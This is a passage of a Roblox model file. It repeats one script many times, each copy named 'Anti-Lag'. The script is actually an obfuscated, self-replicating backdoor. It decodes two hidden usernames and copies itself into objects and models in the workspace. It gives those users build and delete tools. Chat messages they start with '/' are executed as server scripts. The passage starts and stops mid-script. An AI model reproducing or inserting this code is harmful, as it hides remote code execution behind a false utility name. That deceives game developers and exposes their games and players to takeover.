table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3659">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3660">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3661">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3662">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3663">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3664">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3665">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3666">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX3667">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Anti-Lag</string>
								<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
